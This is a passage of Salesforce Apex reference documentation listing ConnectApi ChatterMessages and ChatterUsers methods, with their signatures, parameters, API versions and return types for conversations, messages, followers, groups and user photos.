Returns a specific page of conversations with a specific number of results the context user has access to across their available
communities.
getMessage(messageId)
Returns a message the context user has access to.
getMessage(communityId, messageId)
Returns a message the context user has access to across their available communities.
getMessages()
Returns a list of the most recent messages the context user has access to.
getMessages(pageParam, pageSize)
Returns the specified page of messages the context user has access to.
getMessages(communityId)
Returns a list of the most recent messages the context user has access to across their available communities.
getMessages(communityId, pageParam, pageSize)
Returns the specified page of messages with the specified number of results the context user has access to across their available
communities.
getUnreadCount()
Returns the number of conversations the context user has marked unread. If the number is less than 50, it will return the exact
unreadCount, and hasMore = false. If the context user has more than 50, unreadCount = 50 and hasMore = true.
getUnreadCount(communityId)
Returns the number of conversations the context user has marked unread across their available communities. If the number is less
than 50, it will return the exact unreadCount, and hasMore = false. If the context user has more than 50, unreadCount = 50 and
hasMore = true.
markConversationRead(conversationId, read)
Marks a conversation as read for the context user.
markConversationRead(communityId, conversationID, read)
Marks a conversation as read or unread for the context user across their available communities.
replyToMessage(text, inReplyTo)
Adds the specified text as a response to a previous message the context user has access to.
replyToMessage(communityId, text, inReplyTo)
Adds the specified text as a response to a previous message the context user has access to across their available communities.
searchConversation(conversationId, q)
Returns the conversation the context user has access to with a page of messages that matches any of the specified search.
searchConversation(conversationId, pageParam, pageSize, q)
Returns the conversation the context user has access to with a page of messages that matches any of the specified search.
searchConversation(communityId, conversationId, q)
Returns the conversation the context user has access to with a page of messages that matches any of the specified search across
their available communities.
1175
ChatterMessages ClassReference
searchConversation(communityId, conversationId, pageParam, pageSize, q)
Returns the conversation the context user has access to with a page of messages that matches any of the specified search across
their available communities.
searchConversations(q)
Returns a page of conversations the context user has access to where member names and messages in the conversations match
any of the specified search criteria.
searchConversations(pageParam, pageSize, q)
Returns a page of conversations the context user has access to where member names and messages in the conversations match
any of the specified search criteria.
searchConversations(communityId, q)
Returns a page of conversations the context user has access to where member names and messages in the conversations match
any of the specified search criteria across their available communities.
searchConversations(communityId, pageParam, pageSize, q)
Returns a specific page of conversations with the specified number of results the context user has access to where member names
and messages in the conversations match any of the specified search criteria across their available communities.
searchMessages(q)
Returns a page of messages the context user has access to that matches any of the specified criteria.
searchMessages(pageParam, pageSize, q)
Returns a page of messages the context user has access to that matches any of the specified criteria.
searchMessages(communityId, q)
Returns a page of messages the context user has access to that matches any of the specified criteria across their available communities.
searchMessages(communityId, pageParam, pageSize, q)
Returns a specific page of messages with the specified number of results the context user has access to that matches any of the
specified criteria across their available communities.
sendMessage(text, recipients)
Sends the specified text to the indicated recipients.
sendMessage(communityId, text, recipients)
Sends the specified text to the indicated recipients across their available communities.
getConversation(conversationId)
Returns a conversation the context user has access to.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversation getConversation(String conversationId)
1176
ChatterMessages ClassReference
Parameters
conversationId
Type: String
Specify the ID for the conversation.
Return Value
Type: ConnectApi.ChatterConversation
getConversation(conversationId, pageParam, pageSize)
Returns a conversation the context user has access to.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversation getConversation(String conversationId,
String pageParam, Integer pageSize)
Parameters
conversationId
Type: String
Specify the ID for the conversation.
pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as
currentPageToken or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.ChatterConversation
getConversation(communityId, conversationId)
Returns a conversation the context user has access to across their available communities.
1177
ChatterMessages ClassReference
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversation getConversation(String communityId, String
conversationId)
Parameters
communityId
Type:String
Use either the ID for a community, internal, or null.
conversationId
Type: String
Specify the ID for the conversation.
Return Value
Type: ConnectApi.ChatterConversation
A Chatter conversation and the related metadata.
getConversation(communityId, conversationId, pageParam, pageSize)
Returns a conversation from a specific page with a specific number of results the context user has access to across their available
communities.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversation getConversation(String communityId, String
conversationId, String pageParam, String pageSize)
Parameters
communityId
Type:String
1178
ChatterMessages ClassReference
Use either the ID for a community, internal, or null.
conversationId
Type: String
Specify the ID for the conversation.
pageParam
Type:String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as
currentPageToken or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.ChatterConversation
A Chatter conversation and the related metadata.
getConversations()
Returns the most recent conversations the context user has access to.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversationPage getConversations()
Return Value
Type: ConnectApi.ChatterConversationPage
getConversations(pageParam, pageSize)
Returns a specific page of conversations the context user has access to.
API Version
29.0
Requires Chatter
Yes
1179
ChatterMessages ClassReference
Signature
public static ConnectApi.ChatterConversationPage getConversations(String pageParam,
Integer pageSize)
Parameters
pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as
currentPageToken or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.ChatterConversationPage
getConversations(communityId)
Returns the most recent conversations the context user has access to across their available communities.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversationPage getConversations(String communityId)
Parameters
communityId
Type:String
Use either the ID for a community, internal, or null.
Return Value
Type: ConnectApi.ChatterConversationPage
A list of Chatter conversations on a specific page.
getConversations(communityId, pageParam, pageSize)
Returns a specific page of conversations with a specific number of results the context user has access to across their available communities.
1180
ChatterMessages ClassReference
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversationPage getConversations(String communityId,
String pageParam, Integer pageSize)
Parameters
communityId
Type:String
Use either the ID for a community, internal, or null.
pageParam
Type:String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as
currentPageToken or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.ChatterConversationPage
A list of Chatter conversations on a specific page.
getMessage(messageId)
Returns a message the context user has access to.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterMessage getMessage(String messageId)
1181
ChatterMessages ClassReference
Parameters
messageId
Type: String
Specify the ID for the message.
Return Value
Type: ConnectApi.ChatterMessage
getMessage(communityId, messageId)
Returns a message the context user has access to across their available communities.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterMessage getMessage(String communityId, String messageId)
Parameters
communityId
Type:String
Use either the ID for a community, internal, or null.
messageId
Type: String
Specify the ID for the message.
Return Value
Type:ConnectApi.ChatterMessage
A Chatter message and all the related metadata.
getMessages()
Returns a list of the most recent messages the context user has access to.
API Version
29.0
1182
ChatterMessages ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterMessagePage getMessages()
Return Value
Type: ConnectApi.ChatterMessagePage
getMessages(pageParam, pageSize)
Returns the specified page of messages the context user has access to.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterMessagePage getMessages(String pageParam, Integer
pageSize)
Parameters
pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as
currentPageToken or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.ChatterMessagePage
getMessages(communityId)
Returns a list of the most recent messages the context user has access to across their available communities.
API Version
30.0
1183
ChatterMessages ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterMessagePage getMessages(String communityId)
Parameters
communityId
Type:String
Use either the ID for a community, internal, or null.
Return Value
Type: ConnectApi.ChatterMessagePage
The Chatter messages on a specific page.
getMessages(communityId, pageParam, pageSize)
Returns the specified page of messages with the specified number of results the context user has access to across their available
communities.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterMessagePage getMessages(String communityId, String
pageParam, Integer pageSize)
Parameters
communityId
Type:String
Use either the ID for a community, internal, or null.
pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as
currentPageToken or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
1184
ChatterMessages ClassReference
Return Value
Type: ConnectApi.ChatterMessagePage
The Chatter messages on a specific page.
getUnreadCount()
Returns the number of conversations the context user has marked unread. If the number is less than 50, it will return the exact unreadCount,
and hasMore = false. If the context user has more than 50, unreadCount = 50 and hasMore = true.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.UnreadConversationCount getUnreadCount()
Return Value
Type: ConnectApi.UnreadConversationCount
getUnreadCount(communityId)
Returns the number of conversations the context user has marked unread across their available communities. If the number is less than
50, it will return the exact unreadCount, and hasMore = false. If the context user has more than 50, unreadCount = 50 and hasMore =
true.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.UnreadConversationCount getUnreadCount(String communityId)
Parameters
communityId
Type:String
Use either the ID for a community, internal, or null.
1185
ChatterMessages ClassReference
Return Value
Type: ConnectApi.UnreadConversationCount
The number of unread messages in a conversation.
markConversationRead(conversationId, read)
Marks a conversation as read for the context user.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversationSummary markConversationRead(String
conversationId, Boolean read)
Parameters
conversationId
Type: String
Specify the ID for the conversation.
read
Type: Boolean
Specifies whether the conversation has been read (true) or not (false).
Return Value
Type: ConnectApi.ChatterConversationSummary
markConversationRead(communityId, conversationID, read)
Marks a conversation as read or unread for the context user across their available communities.
API Version
30.0
Requires Chatter
Yes
1186
ChatterMessages ClassReference
Signature
public static ConnectApi.ChatterConversationSummary markConversationRead(String
communityId, String conversationID, Boolean read)
Parameters
communityId
Type:String
Use either the ID for a community, internal, or null.
conversationId
Type: String
Specify the ID for the conversation.
read
Type: Boolean
Specifies whether the conversation has been read (true) or not (false).
Return Value
Type: ConnectApi.ChatterConversationSummary
The summary of a Chatter conversation, including the members of the conversation, Chatter REST API URL, and contents of the latest
message.
replyToMessage(text, inReplyTo)
Adds the specified text as a response to a previous message the context user has access to.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterMessage replyToMessage(String text, String inReplyTo)
Parameters
text
Type: String
The text of the message. Cannot be empty or over 10,000 characters.
inReplyTo
Type: String
Specify the ID of the message that is being responded to.
1187
ChatterMessages ClassReference
Return Value
Type: ConnectApi.ChatterMessage
replyToMessage(communityId, text, inReplyTo)
Adds the specified text as a response to a previous message the context user has access to across their available communities.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterMessage replyToMessage(String communityId, String text,
String inReplyTo)
Parameters
communityId
Type:String
Use either the ID for a community, internal, or null.
text
Type: String
The text of the message. Cannot be empty or over 10,000 characters.
inReplyTo
Type: String
Specify the ID of the message that is being responded to.
Return Value
Type: ConnectApi.ChatterMessage
A Chatter message and all the related metadata.
searchConversation(conversationId, q)
Returns the conversation the context user has access to with a page of messages that matches any of the specified search.
API Version
29.0
Requires Chatter
Yes
1188
ChatterMessages ClassReference
Signature
public static ConnectApi.ChatterConversation searchConversation(String conversationId,
String q)
Parameters
conversationId
Type: String
Specify the ID for the conversation.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.ChatterConversation
searchConversation(conversationId, pageParam, pageSize, q)
Returns the conversation the context user has access to with a page of messages that matches any of the specified search.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversation searchConversation(String conversationId,
String pageParam, Integer pageSize, String q)
Parameters
conversationId
Type: String
Specify the ID for the conversation.
pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as
currentPageToken or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
1189
ChatterMessages ClassReference
q
Type: String
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.ChatterConversation
searchConversation(communityId, conversationId, q)
Returns the conversation the context user has access to with a page of messages that matches any of the specified search across their
available communities.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversation searchConversation(String communityId,
String conversationId, String q)
Parameters
communityId
Type:String
Use either the ID for a community, internal, or null.
conversationId
Type: String
Specify the ID for the conversation.
q
Type: String
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.ChatterConversation
A Chatter conversation and the related metadata.
searchConversation(communityId, conversationId, pageParam, pageSize, q)
Returns the conversation the context user has access to with a page of messages that matches any of the specified search across their
available communities.
1190
ChatterMessages ClassReference
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversation searchConversation(String communityId,
String conversationId, String pageParam, Integer pageSize, String q)
Parameters
communityId
Type:String
Use either the ID for a community, internal, or null.
conversationId
Type: String
Specify the ID for the conversation.
pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as
currentPageToken or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
q
Type: String
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.ChatterConversation
A Chatter conversation and the related metadata.
searchConversations(q)
Returns a page of conversations the context user has access to where member names and messages in the conversations match any of
the specified search criteria.
API Version
29.0
1191
ChatterMessages ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversationPage searchConversations(String q)
Parameters
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.ChatterConversationPage
searchConversations(pageParam, pageSize, q)
Returns a page of conversations the context user has access to where member names and messages in the conversations match any of
the specified search criteria.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversationPage searchConversations(String pageParam,
Integer pageSize, String q)
Parameters
pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as
currentPageToken or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
q
Type: String
1192
ChatterMessages ClassReference
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.ChatterConversationPage
searchConversations(communityId, q)
Returns a page of conversations the context user has access to where member names and messages in the conversations match any of
the specified search criteria across their available communities.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversationPage searchConversations(String communityId,
String q)
Parameters
communityId
Type:String
Use either the ID for a community, internal, or null.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.ChatterConversationPage
A list of Chatter conversations on a specific page.
searchConversations(communityId, pageParam, pageSize, q)
Returns a specific page of conversations with the specified number of results the context user has access to where member names and
messages in the conversations match any of the specified search criteria across their available communities.
API Version
30.0
1193
ChatterMessages ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversationPage searchConversations(String communityId,
String pageParam, Integer pageSize, String q)
Parameters
communityId
Type:String
Use either the ID for a community, internal, or null.
pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as
currentPageToken or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.ChatterConversationPage
A list of Chatter conversations on a specific page.
searchMessages(q)
Returns a page of messages the context user has access to that matches any of the specified criteria.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterMessagePage searchMessages(String q)
1194
ChatterMessages ClassReference
Parameters
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.ChatterMessagePage
searchMessages(pageParam, pageSize, q)
Returns a page of messages the context user has access to that matches any of the specified criteria.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterMessagePage searchMessages(String pageParam, Integer
pageSize, String q)
Parameters
pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as
currentPageToken or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.ChatterMessagePage
searchMessages(communityId, q)
Returns a page of messages the context user has access to that matches any of the specified criteria across their available communities.
1195
ChatterMessages ClassReference
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterMessagePage searchMessages(String communityId, String
q)
Parameters
communityId
Type:String
Use either the ID for a community, internal, or null.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.ChatterMessagePage
The Chatter messages on a specific page.
searchMessages(communityId, pageParam, pageSize, q)
Returns a specific page of messages with the specified number of results the context user has access to that matches any of the specified
criteria across their available communities.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterMessagePage searchMessages(String communityId, String
pageParam, Integer pageSize, String q)
Parameters
communityId
Type:String
1196
ChatterMessages ClassReference
Use either the ID for a community, internal, or null.
pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as
currentPageToken or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.ChatterMessagePage
The Chatter messages on a specific page.
sendMessage(text, recipients)
Sends the specified text to the indicated recipients.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterMessage sendMessage(String text, String recipients)
Parameters
text
Type: String
The text of the message. Cannot be empty or over 10,000 characters.
recipients
Type: String
Up to nine comma-separated IDs of the users receiving the message.
Return Value
Type: ConnectApi.ChatterMessage
1197
ChatterMessages ClassReference
sendMessage(communityId, text, recipients)
Sends the specified text to the indicated recipients across their available communities.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterMessage sendMessage(String communityId, String text,
String recipients)
Parameters
communityId
Type:String
Use either the ID for a community, internal, or null.
text
Type: String
The text of the message. Cannot be empty or over 10,000 characters.
recipients
Type: String
Up to nine comma-separated IDs of users to receive the message.
Return Value
Type: ConnectApi.ChatterMessage
A Chatter message and all the related metadata.
ChatterUsers Class
Access information about users, such as followers, subscriptions, files, and groups.
Namespace
ConnectApi
ChatterUsers Methods
The following are methods for ChatterUsers. All methods are static.
1198
ChatterUsers ClassReference
IN THIS SECTION:
deletePhoto(communityId, userId)
Deletes the specified user’s photo.
follow(communityId, userId, subjectId)
Adds the specified userId as a follower to the specified subjectId.
getChatterSettings(communityId, userId)
Returns information about the default Chatter settings for the specified user.
getFollowers(communityId, userId)
Returns the first page of followers for the specified user ID. The page contains the default number of items.
getFollowers(communityId, userId, pageParam, pageSize)
Returns the specified page of followers for the specified user ID.
getFollowings(communityId, userId)
Returns the first page of information about the followers of the specified user. The page contains the default number of items. This
is different than getFollowers, which returns the users that follow the specified user.
getFollowings(communityId, userId, pageParam)
Returns the specified page of information about the followers of the specified user. The page contains the default number of items.
This is different than getFollowers, which returns the users that follow the specified user.
getFollowings(communityId, userId, pageParam, pageSize)
Returns the specific page of information about the followers of the specified user. This is different than getFollowers, which
returns the users that follow the specified user.
getFollowings(communityId, userId, filterType)
Returns the first page of information about the specified types of followers of the specified user. The page contains the default
number of items. This is different than getFollowers, which returns the users that follow the specified user.
getFollowings(communityId, userId, filterType, pageParam)
Returns the specified page of information about the specified types of followers of the specified user. The page contains the default
number of items. This is different than getFollowers, which returns the users that follow the specified user.
getFollowings(communityId, userId, filterType, pageParam, pageSize)
Returns the specified page of information about the specified types of followers of the specified user. This is different than
getFollowers, which returns the users that follow the specified user.
getGroups(communityId, userId)
Returns the first page of groups the specified user is a member of.
getGroups(communityId, userId, pageParam, pageSize)
Returns the specified page of groups the specified user is a member of.
getPhoto(communityId, userId)
Returns information about the specified user’s photo.
getReputation(communityId, userId)
Returns the reputation of the specified user.
getUser(communityId, userId)
Returns information about the specified user.
1199
ChatterUsers ClassReference
getUserBatch(communityId, userIds)
Gets information about the specified list of users. Returns a list of BatchResult objects containing ConnectApi.User
objects. Returns errors embedded in the results for those users that couldn’t be loaded.
getUsers(communityId)
Returns the first page of users. The page contains the default number of items.
getUsers(communityId, pageParam, pageSize)
Returns the specified page of users.
searchUserGroups(communityId, userId, q)
Returns the first page of groups that match the specified search criteria.
searchUserGroups(communityId, userId, q, pageParam, pageSize)
Returns the specified page of users that matches the specified search criteria.
searchUsers(communityId, q)
Returns the first page of users that match the specified search criteria. The page contains the default number of items.
searchUsers(communityId, q, pageParam, pageSize)
Returns the specified page of users that match the specified search criteria.
searchUsers(communityId, q, searchContextId, pageParam, pageSize)
Returns the specified page of users that match the specified search criteria.
setPhoto(communityId, userId, fileId, versionNumber)
Sets the user photo to be the specified, already uploaded file.
setPhoto(communityId, userId, fileUpload)
Sets the provided blob to be the photo for the specified user. The content type must be usable as an image.
setPhotoWithAttributes(communityId, userId, photo)
Sets and crops the existing file as the photo for the specified user. The content type must be usable as an image.
setPhotoWithAttributes(communityId, userId, photo, fileUpload)
Sets and crops the provided blob as the photo for the specified user. The content type must be usable as an image.
updateChatterSettings(communityId, userId, defaultGroupEmailFrequency)
Updates the default Chatter settings for the specified user.
updateUser(communityId, userId, userInput)
Updates the “About Me” section for a user.
deletePhoto(communityId, userId)
Deletes the specified user’s photo.
API Version
28.0–34.0
Important: In version 35.0 and later, use ConnectApi.UserProfiles.deletePhoto(communityId, userId)
on page 1423
Signature
public static Void deletePhoto(String communityId, String userId)
1200
ChatterUsers ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
Return Value
Type: Void
follow(communityId, userId, subjectId)
Adds the specified userId as a follower to the specified subjectId.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.Subscription follow(String communityId, String userId, String
subjectId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
subjectId
Type: String
The ID for the subject to follow.
Return Value
Type: ConnectApi.Subscription
1201
ChatterUsers ClassReference
Example
ChatterUsers.ConnectApi.Subscription subscriptionToRecord =
ConnectApi.ChatterUsers.follow(null,'me','001RR000002G4Y0');
SEE ALSO:
Unfollow a Record
getChatterSettings(communityId, userId)
Returns information about the default Chatter settings for the specified user.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.UserChatterSettings getChatterSettings(String communityId,
String userId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
Return Value
Type: ConnectApi.UserChatterSettings
getFollowers(communityId, userId)
Returns the first page of followers for the specified user ID. The page contains the default number of items.
API Version
28.0
Available to Guest Users
32.0
1202
ChatterUsers ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.FollowerPage getFollowers(String communityId, String userId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for a user.
Return Value
Type: ConnectApi.FollowerPage
getFollowers(communityId, userId, pageParam, pageSize)
Returns the specified page of followers for the specified user ID.
API Version
28.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.FollowerPage getFollowers(String communityId, String userId,
Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
1203
ChatterUsers ClassReference
The ID for a user.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.FollowerPage
getFollowings(communityId, userId)
Returns the first page of information about the followers of the specified user. The page contains the default number of items. This is
different than getFollowers, which returns the users that follow the specified user.
API Version
28.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.FollowingPage getFollowings(String communityId, String userId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for a user.
Return Value
Type: ConnectApi.FollowingPage
1204
ChatterUsers ClassReference
getFollowings(communityId, userId, pageParam)
Returns the specified page of information about the followers of the specified user. The page contains the default number of items. This
is different than getFollowers, which returns the users that follow the specified user.
API Version
28.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.FollowingPage getFollowings(String communityId, String userId,
Integer pageParam)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for a user.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
Return Value
Type: ConnectApi.FollowingPage
getFollowings(communityId, userId, pageParam, pageSize)
Returns the specific page of information about the followers of the specified user. This is different than getFollowers, which returns
the users that follow the specified user.
API Version
28.0
1205
ChatterUsers ClassReference
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.FollowingPage getFollowings(String communityId, String userId,
Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for a user.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.FollowingPage
getFollowings(communityId, userId, filterType)
Returns the first page of information about the specified types of followers of the specified user. The page contains the default number
of items. This is different than getFollowers, which returns the users that follow the specified user.
API Version
28.0
Available to Guest Users
32.0
Requires Chatter
Yes
1206
ChatterUsers ClassReference
Signature
public static ConnectApi.FollowingPage getFollowings(String communityId, String userId,
String filterType)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for a user.
filterType
Type: String
Specifies the key prefix to filter the type of objects returned. A key prefix is the first three characters of the object ID, which specifies
the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
Return Value
Type: ConnectApi.FollowingPage
getFollowings(communityId, userId, filterType, pageParam)
Returns the specified page of information about the specified types of followers of the specified user. The page contains the default
number of items. This is different than getFollowers, which returns the users that follow the specified user.
API Version
28.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.FollowingPage getFollowings(String communityId, String userId,
String filterType, Integer pageParam)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
1207
ChatterUsers ClassReference
userId
Type: String
The ID for a user.
filterType
Type: String
Specifies the key prefix to filter the type of objects returned. A key prefix is the first three characters of the object ID, which specifies
the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
Return Value
Type: ConnectApi.FollowingPage
getFollowings(communityId, userId, filterType, pageParam, pageSize)
Returns the specified page of information about the specified types of followers of the specified user. This is different than
getFollowers, which returns the users that follow the specified user.
API Version
28.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.FollowingPage getFollowings(String communityId, String userId,
String filterType, Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for a user.
filterType
Type: String
1208
ChatterUsers ClassReference
Specifies the key prefix to filter the type of objects returned. A key prefix is the first three characters of the object ID, which specifies
the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.FollowingPage
getGroups(communityId, userId)
Returns the first page of groups the specified user is a member of.
API Version
28.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.UserGroupPage getGroups(String communityId, String userId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for a user.
Return Value
Type: ConnectApi.UserGroupPage
1209
ChatterUsers ClassReference
getGroups(communityId, userId, pageParam, pageSize)
Returns the specified page of groups the specified user is a member of.
API Version
28.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.UserGroupPage getGroups(String communityId, String userId,
Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for a user.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.UserGroupPage
getPhoto(communityId, userId)
Returns information about the specified user’s photo.
API Version
28.0–34.0
1210
ChatterUsers ClassReference
Important: In version 35.0 and later, use ConnectApi.UserProfiles.getPhoto(communityId, userId)
on page 1424.
Available to Guest Users
